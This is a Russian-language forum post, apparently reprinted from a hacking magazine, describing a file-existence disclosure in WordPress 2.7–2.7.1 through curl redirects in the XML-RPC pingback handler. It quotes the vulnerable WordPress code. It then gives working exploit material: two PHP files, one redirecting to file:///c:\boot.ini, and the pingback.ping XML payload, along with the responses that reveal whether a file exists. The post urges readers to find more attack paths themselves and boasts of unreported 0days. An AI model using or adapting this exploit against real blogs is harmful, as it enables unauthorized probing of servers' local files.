Показать сообщение отдельно

WordPress curl information disclosure
  #118  
Старый 27.05.2009, 20:51
M4g
Участник форума
Регистрация: 08.05.2007
Сообщений: 164
С нами: 10005506

Репутация: 784
По умолчанию WordPress curl information disclosure

8. WordPress curl information disclosure (2.7<=WordPress<=2.7.1)

Представляю твоему вниманию очередную уязвимость WordPress (найденную не без помощи Электа), которая заключается в проверке существования любого файла на уязвимом блоге. Подвержены все версии движка, начиная с 2.7.
Для начала нужно сказать, что это не совсем уязвимость вордпресса, а, скорее, фича curl, php-библиотеку которого как раз и юзает WordPress вместо ушедшего в небытие Snoopy.
Итак, уязвимость курла заключается в том, что он с радостью может прочитать для тебя не только удаленные файлы по http, но и локальные с помощью префикса "file://"! Но, как правило, префиксы проверяются скриптами еще на входе, так что, казалось бы, "file://" заюзать невозможно. Однако, никто не подумал о том, что curl поддерживает переадресацию с помощью флага "CURLOPT_FOLLOWLOCATION". То есть, подставив курлу вполне обычный http, на выходе мы можем получить чтение произвольного локального файла (подробное advisory от первооткрывателя ищи в сносках)! В вордпрессе множество файлов юзают класс ./wp-includes/http.php, но сейчас мы рассмотрим лишь один из наиболее доступнных pre-auth способов эксплуатациии баги (найти другие способы в админке - твое домашнее задание
Для начала рассмотрим некоторые особенно важные для эксплуатации бага куски кода в последней версии вордпресса (2.7.1):
1. ./wp-includes/http.php
Код:
class WP_Http_Curl {
	function request($url, $args = array()) {
		if ( !ini_get('safe_mode') && !ini_get('open_basedir') )
			curl_setopt( $handle, CURLOPT_FOLLOWLOCATION, true );
Да-да! Ты видишь тот самый флаг, отвечающий за поддержку редиректа!
Дальше опустим некоторый заумный код, но скажу лишь, что по дефолту (всего возможны 4 варианта) в качестве транспорта http данных вордпресс выбирает курл:
Код:
function wp_remote_get($url, $args = array()) {
	$objFetchSite = _wp_http_get_object();

	return $objFetchSite->get($url, $args);
}
2. Функция, приведенная выше, используется в ./wp-includes/functions.php:
Код:
function wp_remote_fopen( $uri ) {
...
	$response = wp_remote_get( $uri, $options );
...
}
3. И, наконец, эта же функция используется в уже полюбившемся тебе интерфейсе xmlrpc:
Код:
function pingback_ping($args) {
...
		$pagelinkedfrom = $args[0];
		$pagelinkedto   = $args[1];
...
		// Let's check the remote site
		$linea = wp_remote_fopen( $pagelinkedfrom );
...
Теперь у нас есть все необходимое для написания эксплойта, к чему мы сейчас и приступим
Как ты уже понял, действовать мы будем через механизм пингбэков, про который я уже неоднократно рассказывал в предыдущих номерах ][.
Для работы нам понадобятся 2 файла, доступных по http. Например, такие: http://lamer.com/ping1/index.php и http://lamer.com/ping2/index.php.
А теперь, предположив, что адрес нашего блога lamer.com/blog и что тестовым стендом является винда, начнем работу над необходимыми файлами:
1. ./ping1/index.php
Код:
<?php
header("<title>Exploit</title><a href="http://lamer.com/ping2/?p=1#lamer.com/blog">Curl</a>");
header("Location: file:///c:\boot.ini", 302);
?>
2. ./ping2/index.php
Код:
<a href="http://lamer.com/ping1/?p=2">Ping2</a>
В этом примере первый файл сможет пропинговать второй благодаря еще одной недоработке вордпресса. Смотри в механизм пингов xmlrpc.php:
Код:
// Check if the page linked to is in our site
$pos1 = strpos($pagelinkedto, str_replace(array('http://www.','http://','https://www.','https://'), '', get_option('home')));
if( !$pos1 )
	return new IXR_Error(0, __('Is there no link to us?'));
В этой проверке не нужно, чтобы второй пингуемый сайт обязательно был текущим блогом, так как мы можем обойти проверку, вставив адрес этого самого блога, например, в конце URL после решетки.
Теперь у нас все готово для проверки наличия файла c:\boot.ini на тестируемой системе
Для эксплуатации уязвимости тебе необходимо лишь послать следующий POST-пакет для сервера xmlrpc:
Код:
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://lamer.com/ping1/?p=2</string></value></param>
<param><value><string>http://lamer.com/ping2/?p=[ИД_СУЩЕСТВУЮЩЕГО_ПОСТА_НА_БЛОГЕ]#lamer.com/blog</string></value></param>
</params>
</methodCall>
После отсылки пакета ты сможешь получить 2 ответа от сервера:
1. Если файл c:\boot.ini существует, то блог пришлет такой ответ
Цитата:
Pingback from http://lamer.com/ping1/?p=2 to http://lamer.com/ping2/?p=1#lamer.com/blog registered. Keep the web talking! :-)
2. Если же такого файла нет, то жди такого ответа
Цитата:
The source URL does not exist.
Кстати, этим способом вполне было бы возможно прочитать содержимого любого файла системы, если бы пингбэк не урезался до очень малого количества символов. Так что в комментарии-пингбэке ты увидишь всего лишь что-то вроде этого:
Цитата:
[...] Server: Apache/2.2.4 (Win32) mod_ssl/2.2.4 OpenSSL/0.9.8d PHP/5.2.4 X-Powered-By: PHP/5.2.4 popa: 111 Location: file:///c:boot.ini Content-Length: 0 Connection: close Content-Type: text/html; [...]
Содержимое c:\boot.ini остается где-то под катом
Описанный способ эксплуатации данной уязвимости не является единственным. В админке ты сможешь найти и другие вызовы функции wp_get_http(), которые и позволят тебе читать файлы на системе. Найти их - уже твоя задача

----
З.Ы. Спасибо Elekt за то, что навел меня на эту уязвимость)
З.З.Ы. На сегодняшний день в WordPress 2.7.1-2.8beta2, кроме описанных выше, есть еще, по крайней мере, 2 серьезнейшие 0day уязвимости)
 
Ответить с цитированием